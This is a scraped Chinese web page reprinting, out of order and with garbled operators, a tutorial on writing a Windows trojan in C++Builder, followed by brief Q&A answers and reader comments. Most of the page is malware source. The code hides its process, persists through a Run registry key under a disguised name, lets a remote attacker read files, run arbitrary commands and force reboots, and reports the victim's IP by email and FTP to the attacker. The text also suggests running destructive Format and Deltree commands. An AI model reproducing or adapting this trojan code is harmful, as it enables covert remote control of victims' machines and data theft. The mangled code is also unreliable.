file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

file://Return_Text的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

file://GetCurrentProcess()函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

file://LookupPrivilegeValue()的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Running Now!";

file://信的主题

NMSMTP1-SendMail();

file://发送!

return;

file://返回

NextTime:

NMFTP1-Host = "ftp.go.163.com";

file://你的FTP服务器的地址

NMFTP1-UserID = "";

file://你的用户ID

NMFTP1-Port = 21;

file://FTP端口号,一般为21

NMFTP1-Password = "";

file://你的FTP的密码

if(NMFTP1-Connected) NMFTP1-Disconnect();

file://如果已连接就断开

try

{

NMFTP1-Connect();

file://再连接

}

catch(...)

{

return;

file://返回

}

AnsiString SendToSite = "Server Running on: " + NMFTP1-RemoteIP;

file://受害者的IP地址

FILE * Upload;

Upload = fopen(NMFTP1-RemoteIP.c_str(),"w+");

file://创建一个新文件准备写,如果已存在就覆盖

fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

file://写入以上的SendToSite的内容

fclose(Upload);

file://写完后关闭此文件

NMFTP1-RemoveDir("public_html");

file://删除public_html目录

NMFTP1-Upload(NMFTP1-RemoteIP, NMFTP1-RemoteIP);

file://上传!

}

啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

#include stdlib.h

#include dirent.h

#include fcntl.h

#include dos.h

#include sys\stat.h

#include winbase.h

#include stdio.h

#include process.h

#include io.h

#include mmsystem.h

至此,服务器端(Server)程序

木马病毒怎么编程,有什么编,编程后怎么用?

要编木马.就要学一门程序设计语言,VB可以,C语言也可以..不过JAVA.之类的就不用了.不用可视化了..

学了语言后你要有对计算机安全系统的了解

然后想出你的木马要做什么

然后设计算法.

最后代码实现就行了..

简单的木马怎么编写啊?

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷, 使在Dos——Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成——服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

//定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

//加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

//得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

//执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

//卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。

接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

//定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

//TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

//格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

//将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

//定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

//设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\

CurrentVersion\\Run",TRUE);

//打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

//如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

//查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

//如果不是,就写入以上键值和内容

}

catch(...)

{

//如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

//定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s%2

用Win32汇编编写的病毒或木马厉害吗?与高级语言编写的病毒相比有哪些方面的优势?

病毒的危害程度与所采用的语言没有绝对的关系,与编写病毒人的水平以及代码中破坏指令相关。通常潜伏期越长、变种越多的病毒危害越大。汇编语言是低级语言,缩写的程序主要针对底层资源进行操作。其编写的病毒可在DOS、WINDOWS等平台下传播和发作。高级语言根据运行平台可分为基于DOS、WINDOWS、LINUX、UNIX等多种。现在面向对象的语言多是基于WINDOWS的,所编写的病毒也基于WINDOWS平台进行传播和发作。所以现在很多病毒/木马总的说来比早期DOS平台下的病毒“善良”多了。早期的很多病毒一发作直接把硬盘物理格式化或者删除所有分区,让你硬盘上所有的数据无从恢复。现在的使用面向对象语言编写的病毒/木马在纯DOS状态下几乎不能运行和发作。

DOS可以制作木马程序吗?

当然可以,不过你得会C或者系统自带的debug写代码,我是没写过,那太强悍了.还有QB也可以写,哈哈,都是很不实际的东东.

现在C应该是最好的和最容易的了吧!

  • 评论列表:
  •  语酌酌锦
     发布于 2022-05-30 05:12:45  回复该评论
  • 共享的文件都放在这个共享文件夹中,注意千万不要将系统目录设置成共享。 5、运行反木马实时监控程序。木马防范重要的一点就是在上网时最好运行反木马实时监控程序,PC万用精灵等软件一般都能实时显示当前所有运行程序并有详细的描述信息。此外如加上一些专业的最新杀毒软件、个人防火墙等进行监控基本就可以放心了。
  •  俗野寰鸾
     发布于 2022-05-30 07:56:00  回复该评论
  • 特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用
  •  冬马常安
     发布于 2022-05-30 06:48:53  回复该评论
  • erverSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但
  •  语酌城鱼
     发布于 2022-05-30 01:28:49  回复该评论
  • ”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe file://如果不是,就写入以上键值和内容 } catch(...) { file://如果有
  •  只酷寒洲
     发布于 2022-05-30 04:41:14  回复该评论
  • 份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载: { char TempPath[MAX_PATH];//定义一个变量GetSystemDirectory(TempPath ,

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.